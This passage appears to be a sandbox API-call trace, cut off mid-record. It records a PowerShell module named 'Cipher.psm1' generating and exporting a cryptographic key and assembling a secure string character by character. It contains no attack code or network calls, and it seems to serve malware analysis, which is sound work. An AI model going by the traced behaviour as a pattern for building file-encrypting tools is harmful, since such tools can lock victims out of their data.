[7]=0x1))) returned 0x0 [0128.642] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.643] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\x2a00\x68f\x2a68\x68f\x2a20\x68f\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0128.644] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.644] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.644] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.644] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.646] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0128.646] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.646] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.646] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.646] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.647] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x43964e8) returned 1 [0128.648] CryptGenKey (in: hProv=0x43964e8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84c78) returned 1 [0128.648] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.648] CryptExportKey (in: hKey=0x8e84c78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.648] CryptExportKey (in: hKey=0x8e84c78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x690eea4, pdwDataLen=0x99ae7f8 | out: pbData=0x690eea4*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.648] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.648] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.648] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.648] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.649] SysStringLen (param_1="") returned 0x8 [0128.649] SysStringLen (param_1="U") returned 0x8 [0128.649] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.649] SysStringLen (param_1="\xfca0\x27a3\xa5b\x4cd1\x6e68\xa7d\x6af0\xa27d") returned 0x8 [0128.649] SysStringLen (param_1="\xfca0\x27a3\xa5b\x4cd1\x6e68\xa7d\x6af0\xa27d") returned 0x8 [0128.649] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.649] SysStringLen (param_1="Uw") returned 0x8 [0128.649] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.649] SysStringLen (param_1="\xc989\x972f\x30bb\xfb01\xf836\x788\xf473\x6fa5") returned 0x8 [0128.649] SysStringLen (param_1="\xc989\x972f\x30bb\xfb01\xf836\x788\xf473\x6fa5") returned 0x8 [0128.649] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.649] SysStringLen (param_1="Uwy") returned 0x8 [0128.649] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.650] SysStringLen (param_1="\x49a\x7a1b\x52a\x26d6\xee4c\x7d81\xbf1d\x46ed") returned 0x8 [0128.650] SysStringLen (param_1="\x49a\x7a1b\x52a\x26d6\xee4c\x7d81\xbf1d\x46ed") returned 0x8 [0128.650] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.650] SysStringLen (param_1="UwyM") returned 0x8 [0128.650] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.650] SysStringLen (param_1="\x2dfd\xd1d9\xd25e\x6d35\x22fd\x12b3\x2903\x4a7a") returned 0x8 [0128.650] SysStringLen (param_1="\x2dfd\xd1d9\xd25e\x6d35\x22fd\x12b3\x2903\x4a7a") returned 0x8 [0128.650] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.650] SysStringLen (param_1="UwyMN") returned 0x8 [0128.650] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.650] SysStringLen (param_1="\xb5f1\x7db0\x2aa1\xc71d\xc95c\x5734\x10de\x81fa") returned 0x8 [0128.650] SysStringLen (param_1="\xb5f1\x7db0\x2aa1\xc71d\xc95c\x5734\x10de\x81fa") returned 0x8 [0128.650] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.650] SysStringLen (param_1="UwyMNk") returned 0x8 [0128.650] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.650] SysStringLen (param_1="\x6239\x6bbc\x64a4\xe2cd\x7f11\xc2c0\x401\xa16b") returned 0x8 [0128.650] SysStringLen (param_1="\x6239\x6bbc\x64a4\xe2cd\x7f11\xc2c0\x401\xa16b") returned 0x8 [0128.650] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.651] SysStringLen (param_1="UwyMNkS") returned 0x8 [0128.651] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.651] SysStringLen (param_1="\x6b1c\xb0f6\xad04\x101e\xa873\xe7e5\x8000\x16e") returned 0x8 [0128.651] SysStringLen (param_1="\x6b1c\xb0f6\xad04\x101e\xa873\xe7e5\x8000\x16e") returned 0x8 [0128.651] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.651] SysStringLen (param_1="UwyMNkSU") returned 0x8 [0128.651] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.651] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a") returned 0x8 [0128.651] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a") returned 0x8 [0128.651] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a") returned 0x8 [0128.651] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a") returned 0x10 [0128.651] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.651] SysStringLen (param_1="UwyMNkSUt밴뜷툰㺃ጞꦜ뗹") returned 0x10 [0128.651] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.651] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xd836\x72b0\x44fc\x23c8\xe706\xa1c9\xf0fd\xaff6") returned 0x10 [0128.651] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xd836\x72b0\x44fc\x23c8\xe706\xa1c9\xf0fd\xaff6") returned 0x10 [0128.652] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.652] SysStringLen (param_1="UwyMNkSUtg뜷툰㺃ጞꦜ뗹") returned 0x10 [0128.652] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.652] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\x7a38\x829\x671\xe608\xbebd\x249b\x99f5\xa2b3") returned 0x10 [0128.652] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\x7a38\x829\x671\xe608\xbebd\x249b\x99f5\xa2b3") returned 0x10 [0128.652] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.652] SysStringLen (param_1="UwyMNkSUtgp툰㺃ጞꦜ뗹") returned 0x10 [0128.652] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.652] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\x448c\x8eaf\x9f14\x9472\xaff8\x4991\x18e6\x5eac") returned 0x10 [0128.652] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\x448c\x8eaf\x9f14\x9472\xaff8\x4991\x18e6\x5eac") returned 0x10 [0128.652] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.652] SysStringLen (param_1="UwyMNkSUtgpW㺃ጞꦜ뗹") returned 0x10 [0128.652] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.652] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\x54b0\x1391\x2d8a\x99b7\x98a9\xda5a\x1a8b\x1cf2") returned 0x10 [0128.652] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\x54b0\x1391\x2d8a\x99b7\x98a9\xda5a\x1a8b\x1cf2") returned 0x10 [0128.652] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.653] SysStringLen (param_1="UwyMNkSUtgpWpጞꦜ뗹") returned 0x10 [0128.653] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.653] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xa6ea\x885a\x213d\x72fb\xaa28\xcb63\x8a5c\xfec6") returned 0x10 [0128.653] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xa6ea\x885a\x213d\x72fb\xaa28\xcb63\x8a5c\xfec6") returned 0x10 [0128.653] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.653] SysStringLen (param_1="UwyMNkSUtgpWpzꦜ뗹") returned 0x10 [0128.653] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.653] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xdd80\x7744\xefcc\x2a7e\x780e\x7a12\x364\x1d59") returned 0x10 [0128.653] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xdd80\x7744\xefcc\x2a7e\x780e\x7a12\x364\x1d59") returned 0x10 [0128.653] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.653] SysStringLen (param_1="UwyMNkSUtgpWpzd뗹") returned 0x10 [0128.653] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.653] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xe85c\x8bf1\x3554\x6705\x292b\x8e4d\x91fc\x7103") returned 0x10 [0128.653] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xe85c\x8bf1\x3554\x6705\x292b\x8e4d\x91fc\x7103") returned 0x10 [0128.653] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.653] SysStringLen (param_1="UwyMNkSUtgpWpzd2") returned 0x10 [0128.653] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.654] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e") returned 0x10 [0128.654] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e") returned 0x10 [0128.654] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e") returned 0x10 [0128.654] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e") returned 0x18 [0128.654] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.654] SysStringLen (param_1="UwyMNkSUtgpWpzd2+笠糝咽椒瞦௝") returned 0x18 [0128.654] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.654] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x4167\x6b87\xf849\x2a4\x101a\x26b0\xb3cf\xb0be") returned 0x18 [0128.654] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x4167\x6b87\xf849\x2a4\x101a\x26b0\xb3cf\xb0be") returned 0x18 [0128.654] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.654] SysStringLen (param_1="UwyMNkSUtgpWpzd2+s糝咽椒瞦௝") returned 0x18 [0128.654] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.654] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\xd141\xeb6e\x3324\x691\x4c2b\xb8fd\xce1f\x21de") returned 0x18 [0128.654] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\xd141\xeb6e\x3324\x691\x4c2b\xb8fd\xce1f\x21de") returned 0x18 [0128.654] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.654] SysStringLen (param_1="UwyMNkSUtgpWpzd2+sk糝咽椒瞦௝") returned 0x18 [0128.654] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.655] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x5fba\xc570\xfd64\x9677\xd650\xfdfb\x6705\x538f") returned 0x18 [0128.655] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x5fba\xc570\xfd64\x9677\xd650\xfdfb\x6705\x538f") returned 0x18 [0128.655] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.655] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP咽椒瞦௝") returned 0x18 [0128.655] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.655] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x9385\x70d4\x726d\xdff3\x69db\x3576\x8c48\x7e69") returned 0x18 [0128.655] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x9385\x70d4\x726d\xdff3\x69db\x3576\x8c48\x7e69") returned 0x18 [0128.655] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.655] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP6椒瞦௝") returned 0x18 [0128.655] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.655] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\xd2b8\xd33a\x4515\x6465\x7075\xf9a6\xafab\xf397") returned 0x18 [0128.655] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\xd2b8\xd33a\x4515\x6465\x7075\xf9a6\xafab\xf397") returned 0x18 [0128.655] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.655] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66瞦௝") returned 0x18 [0128.655] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.655] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\xf74d\x1ab4\xb294\x5411\x1433\xdf2e\xc490\x5f26") returned 0x18 [0128.656] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\xf74d\x1ab4\xb294\x5411\x1433\xdf2e\xc490\x5f26") returned 0x18 [0128.656] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.656] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66F௝") returned 0x18 [0128.656] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.656] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\xd0f1\xa387\xcbd4\xe928\x652c\x36b0\x170\x2e22") returned 0x18 [0128.656] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\xd0f1\xa387\xcbd4\xe928\x652c\x36b0\x170\x2e22") returned 0x18 [0128.656] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.656] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fi") returned 0x18 [0128.656] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.656] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878") returned 0x18 [0128.656] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878") returned 0x18 [0128.656] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878") returned 0x18 [0128.656] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878") returned 0x20 [0128.656] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.656] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv℟⦪뿂濆늰좫") returned 0x20 [0128.656] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.657] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x307\x1e58\x22f2\x4cee\x8827\xaf9c\xffd4\xd274") returned 0x20 [0128.657] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x307\x1e58\x22f2\x4cee\x8827\xaf9c\xffd4\xd274") returned 0x20 [0128.657] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.657] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/⦪뿂濆늰좫") returned 0x20 [0128.657] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.657] SysStringLen 